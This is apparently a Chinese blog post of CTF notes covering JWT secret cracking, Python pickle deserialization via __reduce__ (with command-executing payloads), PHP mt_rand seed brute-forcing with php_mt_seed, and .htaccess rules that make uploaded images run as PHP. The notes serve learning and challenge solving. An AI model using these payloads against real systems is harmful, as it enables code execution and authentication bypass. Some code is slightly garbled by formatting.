常见漏洞

JWT伪造漏洞

JSON Web Token

JSON Web Token(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全的传输信息。该信息可以被验证和信任,因为它是数字签名的。

什么时候应该用JSON Web Tokens

下列场景中使用JSON Web Token是很有用的:

  • Authorization(授权):这是使用JWT的最常见场景。一旦用户登录,后续每个请求都将包含JWT,允许用户访问该令牌允许的路由、服务和资源。单点登录是现在广泛使用JWT的一个特性,因为它的开销很小,并且可以轻松地跨域使用。

  • Information Exchange(信息交换):对于安全的在各方之间传输信息而言,JSON Web Tokens无疑是一种很好的方式。因为JWTs可以被签名,例如,用公钥/私钥对,你可以确定发送人就是它们所说的那个人。另外,由于签名是使用头和有效负载计算的,您还可以验证内容没有被篡改。

JSON Web Token 的结构


JSON Web Token由三部分组成,它们之间用圆点(.)连接。这三部分分别是:

  • Header
  • Payload
  • Signature

因此,一个典型的JWT看起来是这个样子的:

1
xxxx.yyyyy.zzzzz

接下来,具体看一下每一部分:

Header

header典型的由两部分组成:token的类型(“JWT”)和算法名称(比如:HMAC SHA256或者RSA等等)。
例如:

然后,用Base64对这个JSON编码就得到JWT的第一部分

Payload

JWT的第二部分是payload,它包含声明(要求)。声明是关于实体(通常是用户)和其它数据的声明。声明有三种类型:registered,public和private。

  • Registered claims: 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss(issuer),exp(expiration time), sub(subject),aud(audience)等。

  • Public claims: 可以随意定义。

  • Private claims: 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明。

下面是一个例子:

对payload进行Base64编码就得到JWT的第二部分

注意,不要在JWT的payload或header中放置敏感信息,除非它们是加密的。

Sinature

为了得到签名部分,你必须有编码过的header、编码过的payload、一个密钥,签名算法是header中指定的那个,然后对它们签名即可。
例如

1
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

签名是用于验证消息在传递过程中有没有被更改,并且,由于使用私钥签名的token,它还可以验证JWT的发送方是否为它所称的发送方。
官网解码图

官网地址https://jwt.io/
密钥的取得方法我们由一个题来引入
[CISCN2019 华北赛区 Day1 Web2]ikun

从cookies中抓出JWT数据
放到官网里分析

是我们注册的数据没错
现在要做的就是破解密钥
这里有个脚本c-jwt-cracker
我使用的是kali,攻击jwt

这样我们就获得了我们的密钥,然后将密钥填入密匙位置在官网生成一个新的JWT
原题链接
认识JWT

Python Pickle反序列化漏洞

pickle简介

  • 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。

  • python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。

  • 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。

  • pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

  1. dump和load与文件操作结合起来:
  • 序列化
1
pickle.dump(obj, file, protocol=None,)

必填参数obj表示将要封装的对象,必填参数file表示obj要写入的文件对象,file必须以二进制可写模式打开,即wb。

  • 反序列化
1
pickle.load(file,*,fix_imports=True, encoding="ASCII", errors="strict"

必填参数file必须以二进制可读模式打开,即rb,其他都为可选参数。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

data = ['aa', 'bb', 'cc']

with open("./test.pkl", "wb") as f:
pickle.dump(data, f)

with open("./test.pkl", "rb") as ff:
d = pickle.load(ff)

print(d)
# ['aa', 'bb', 'cc']

  1. dumps与loads则不需要输出成文件,而是以字符串(py2)或字节流(py3)的形式进行转换。
  • 序列化
1
pickle.dumps(obj)
  • 反序列化
1
pickle.loads(bytes_object)

示例

1
2
3
4
5
6
7
8
9
# python3
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)

d = pickle.loads(p)
print(d)

output

1
2
3
b'\x80\x03]q\x00(X\x02\x00\x00\x00aaq\x01X\x02\x00\x00\x00bbq\x02X\x02\x00\x00\x00ccq\x03e.'  

['aa', 'bb', 'cc']
1
2
3
4
5
6
7
8
9
# python2
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print p
d = pickle.loads(p)
print d

output

1
2
3
4
5
6
7
8
9
10
(lp0
S'aa'
p1
aS'bb'
p2
aS'cc'
p3
a.

['aa', 'bb', 'cc']

PVM操作码

要想真正的利用反序列化,我们还得从底层了解一下pickle数据的格式是什么样的。

  • c: 读取新的一行作为模板名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。

  • ( :将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。

  • t: 从堆栈中弹出对象,知道一个(被弹出,并创建一个包含弹出对象(除了()的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。

  • S: 读取引号中的字符串直到换行符处,然后将它压入堆栈。

  • R: 将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象。最后将结果压入到堆栈中。

  • . :结束pickle

简单说来就是:

  • c: 以c开始的后面两行的作用类似os.system的调用,其中cos在第一行,system在第二行。

  • (: 相当于左括号

  • t: 相当于右括号

  • S: 表示本行的内容一个字符串

  • R: 执行紧靠自己左边的一个括号对(即(和t之间)的内容

  • .: 代表该pickle结束

举一个例子:

1
2
3
4
cos
system
(S'whoami'
tR.

我们将上面的序列化字符串在python2下反序列化,相当于执行了os.system(‘whoami’)

1
2
3
4
# python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."
pickle.loads(s)

反序列化漏洞利用

python中的类有一个__reduce__方法,类似与PHP中的wakeup,在反序列化的时候会自动调用。

这里注意,在python2中只有内置类才有__reduce__方法,即用class A(object)声明的类,而python3中已经默认都是内置类了

而我们定义的__reduce__可以返回一个元组,这个元组包含2到5个元素,主要用到前两个参数,即一个可调用的对象,用于重建对象时调用,一个参数元素(也是元组形式),供那个可调用对象使用

举个例子

1
2
3
4
5
6
7
8
import pickle
import os
class A(object):
def __reduce__(self):
return (os.system,('ls',))
a = A()
test = pickle.dumps(a)
pickle.loads(test)


成功执行命令

看一下真题
[CISCN2019 华北赛区 Day1 Web2]ikun
前面的步骤就不再详细描述了,这里直接从Pickle反序列化漏洞入手
在admin.py中找到后门

self.render(‘form.html’, res=p, member=1)
这段代码的意思就是找到模板文件,进行渲染,从而显示页面
来观察一下form.html页面

说明传入的是可以直接进行回显的,而且可以将自定义的类进行序列化个反序列化。因此存在Pickle反序列化漏洞,那我们就可以构造一个通过pickle.dumps序列化的payload,从而被解析读取flag或其他信息。
构造payload可以使用方法__reduce__(self),先要获取的flag文件的位置,然后进行读取
但需要注意几点:

1
2
3
#os.system和os.popen 
os.system 调用系统命令,完成后退出,返回结果是命令执行状态,一般是0
os.popen() 无法读取程序执行的返回值

这两个函数只有以print输出时才会回显,如果是以return返回的就不会显示结果。
查阅资料发现

可以使用commands.getoutput()这个函数来进行代替,构造payload

1
2
3
4
5
6
7
8
9
10
11
12
# coding=utf8
import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))
#ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.


发现flag.txt文件,接下来读取即可

1
return (commands.getoutput,('cat /flag.txt',))

参考 :

Python Pickle反序列化漏洞
os.system() 和 os.popen()
浅谈python反序列化漏洞
pickle反序列化初探

php伪随机数mt_rand函数漏洞

mt_rand()函数

1
2
3
mt_rand()函数使用Mersenne Twister 算法生成随机整数。
使用语法:mt_rand();or mt_rand(min,max); 生成一个区间内的随机数。
其参数min默认为最小值0,max默认为可生成的随机数最大值2147483647,由mt_getrandmax()函数获得。

mt_srand()函数

1
2
3
4
mt_srand()函数播种Mersenne Twister 随机数生成器。(播种我理解为以这个值开始向上随机)
提示:从PHP 4.2.0开始,随机数生成器自动播种,因此没有必要使用该函数。
当不使用随机数播种函数srand时,php也会自动为随机数播种,
因此是否确定种子都不会影响正常运行。

在php中每一次调用mt_rand()函数,都会检查一下系统有没有播种。(播种为mt_srand()函数完成),当随机种子生成后,后面生成的随机数就会根据这个随机种子生成。所以同一个种子下,随机数的生成是相同的,这就是漏洞点,看一个例子就懂了

1
2
3
4
5
6
7
8
9
10
11
12
<?php

mt_srand(0);
echo mt_rand().'<br>';
echo mt_rand().'<br>';
echo mt_rand().'<br>';
echo '分割线___________<br>';
mt_srand(0);
echo mt_rand().'<br>';
echo mt_rand().'<br>';
echo mt_rand().'<br>';

在上面的代码中,我们把随机数播种为0,每次运行都会获得相同的序列,这就是伪随机:

1
2
3
4
5
6
7
1178568022
1273124119
1535857466
分割线___________
1178568022
1273124119
1535857466

因此在知晓一串随机序列的条件下,基于序列相同的seed爆破是可能实现的。

在对seed进行爆破,我们需要使用一个工具php_mt_seed

php_mt_seed工具使用

php_mt_seed是c语言编写的爆破随机数序列种子的工具,
github地址为:https://github.com/openwall/php_mt_seed
我在这里使用的环境为kali系统
下载完成后,进入下载目录中运行make命令

程序编译完成后,使用官方文档中的使用方法

1
2
3
4
5
6
7
8
9
10
11
<?php
$allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
$len = strlen($allowable_characters) - 1;
$pass = $argv[1];
for ($i = 0; $i < strlen($pass); $i++) {
$number = strpos($allowable_characters, $pass[$i]);
echo "$number $number 0 $len ";
}
echo "\n";
?>

将我们的序列转换为php_mt_seed可识别的格式

1
php php文件.php 待爆破字符

后使用

1
./php_mt_rand 爆破出的序列值

即可得出seed值
下面看一道真题
[GWCTF 2019]枯燥的抽奖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

通过上面的代码可以发现,首先使用rand(0,999999999);函数确认种子,然后再由种子生成了20位的随机数
现在10位序列是我们所已知的,我们需要从这10位序列爆破出它的种子值
执行上面的操作
先将我们的序列转换为php_mt_seed可以识别的格式

后使用

1
./php_mt_seed 30 30 0 61  9 9 0 61  9 9 0 61  55 55 0 61  50 50 0 61  22 22 0 61  38 38 0 61  8 8 0 61  55 55 0 61  19 19 0 61


命令获得种子
然后把种子插入再执行一遍题目的源代码即可获得20位随机数

1
2
3
4
5
6
7
8
9
10
11
<?php
mt_srand(735396921);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
//4jjTOwCiTtBHTQBt4oBa

成功反推,获得了flag
CTF_Web:php伪随机数mt_rand()函数+php_mt_seed工具使用

文件上传漏洞–htaccess文件

htaccess概述

htaccess文件是apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件拓展名、允许/组织特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

Unix、Linux系统或者是任何版本的apache web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。

笼统地说.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件拓展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

漏洞原理

利用上传到服务器上的.htaccess文件修改当前目录下的解析规则

利用的前提条件

http.conf文件中设置了 AllowOverried ALL,才能使用.htaccess文件

文件上传漏洞中利用.htaccess文件

第一种:将特定后缀名当作php解析。

1
AddType application/x-httpd-php .jpg

第二种:将当前目录中所有文件都使用php解析。

1
SetHandler application/x-http-php

第三种:使用FilesMatch来匹配文件名,使特定文件名的文件当作php解析

1
2
3
<FilesMatch "sad.jpg"> 
SetHandler application/x-httpd-php
</FilesMatch>

仅sad.jpg文件被解析php代码执行


常见漏洞
http://example.com/2023/01/26/漏洞/
作者
奇怪的奇怪
发布于
2023年1月26日
许可协议